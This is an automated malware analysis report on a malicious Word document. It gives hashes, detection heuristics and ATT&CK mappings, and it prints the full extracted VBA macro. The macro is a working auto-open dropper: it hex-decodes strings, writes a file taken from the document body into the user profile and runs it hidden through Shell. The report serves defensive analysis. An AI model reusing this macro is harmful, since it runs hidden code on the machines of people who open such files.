Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0404f47b7f705154…

MALICIOUS

Office (OOXML)

24.4 KB Created: 2021-06-01 19:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-13
MD5: 013dbdd5f38f8f679d050405aba02812 SHA-1: 1185b8562c60e4a2778336a97890c9b95345c1fc SHA-256: 0404f47b7f7051546bd07ee39028e8a5cab65e23b04b876b2991a6cdaed6f439
430 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an Office document containing heavily obfuscated VBA macros. The Auto_Open and Workbook_Open macros trigger an obfuscated loader that writes a file to the user's profile directory and then executes it using the Shell function. This behavior is indicative of a downloader attempting to fetch and execute a second-stage payload.

Heuristics 10

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2062 bytes
SHA-256: 53c94c4cab5ae89c749065b9980387cfa15eafc64ade706f28fecf6359cab800
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
glxyfbexn
End Sub
Sub glxyfbexn()
Dim eenubkrnjzzwrkpnx As Integer
Dim bksdgqeqodbjvskinj As String
Dim khgsmjyfhil As String
Dim blmpmtidihqllhvgpt As Integer
Dim Ydocv4 As Paragraph
Dim nhdzzixammaw As Integer
Dim ofynqfweziu As Boolean
Dim kbufydxpjsmekk As Integer
Dim mesmcbwnoh As String
Dim jdblvbdgiwffde As Byte
Dim mzspdnyantoafwziknqy As String
mzspdnyantoafwziknqy = zrydxhvyngtc("47696e76616b") & zrydxhvyngtc("74626176")
bksdgqeqodbjvskinj = zrydxhvyngtc("51466f767a6663") & zrydxhvyngtc("767865662e657865")
khgsmjyfhil = Environ("USERPROFILE")
ChDrive (khgsmjyfhil)
ChDir (khgsmjyfhil)
blmpmtidihqllhvgpt = FreeFile()
Open bksdgqeqodbjvskinj For Binary As blmpmtidihqllhvgpt
For Each Ydocv4 In ActiveDocument.Paragraphs
DoEvents
mesmcbwnoh = Ydocv4.Range.Text
If (ofynqfweziu = True) Then
nhdzzixammaw = 1
While (Ydocv8 < Len(mesmcbwnoh))
jdblvbdgiwffde = Mid(mesmcbwnoh, Ydocv8, 4)
Put #blmpmtidihqllhvgpt, , jdblvbdgiwffde
nhdzzixammaw = nhdzzixammaw + 4
Wend
ElseIf (InStr(1, Ydocv11, Ginvaktbav) > 0 And Len(mesmcbwnoh) > 0) Then
ofynqfweziu = True
End If
Next
Close #Ydocv3
gxhpryamw (bksdgqeqodbjvskinj)
End Sub
Sub gxhpryamw(ysirrgrqpubcjr As String)
Dim eenubkrnjzzwrkpnx As Integer
Dim khgsmjyfhil As String
khgsmjyfhil = Environ("USERPROFILE")
ChDrive (khgsmjyfhil)
ChDir (khgsmjyfhil)
eenubkrnjzzwrkpnx = Shell(ysirrgrqpubcjr, vbHide)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
Private Function zrydxhvyngtc(ByVal lklkskqladia As String) As String
Dim xitjpfcfuick As Long
For xitjpfcfuick = 1 To Len(lklkskqladia) Step 2
zrydxhvyngtc = zrydxhvyngtc & Chr$(Val("&H" & Mid$(lklkskqladia, xitjpfcfuick, 2)))
Next xitjpfcfuick
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15872 bytes
SHA-256: d275547170d6d8a252be9b740a62ae4400e6c5549e589c0ad95f83d82b5d5d48
Detection
ClamAV: Doc.Downloader.Generic-6698421-0
Obfuscation or payload: unlikely

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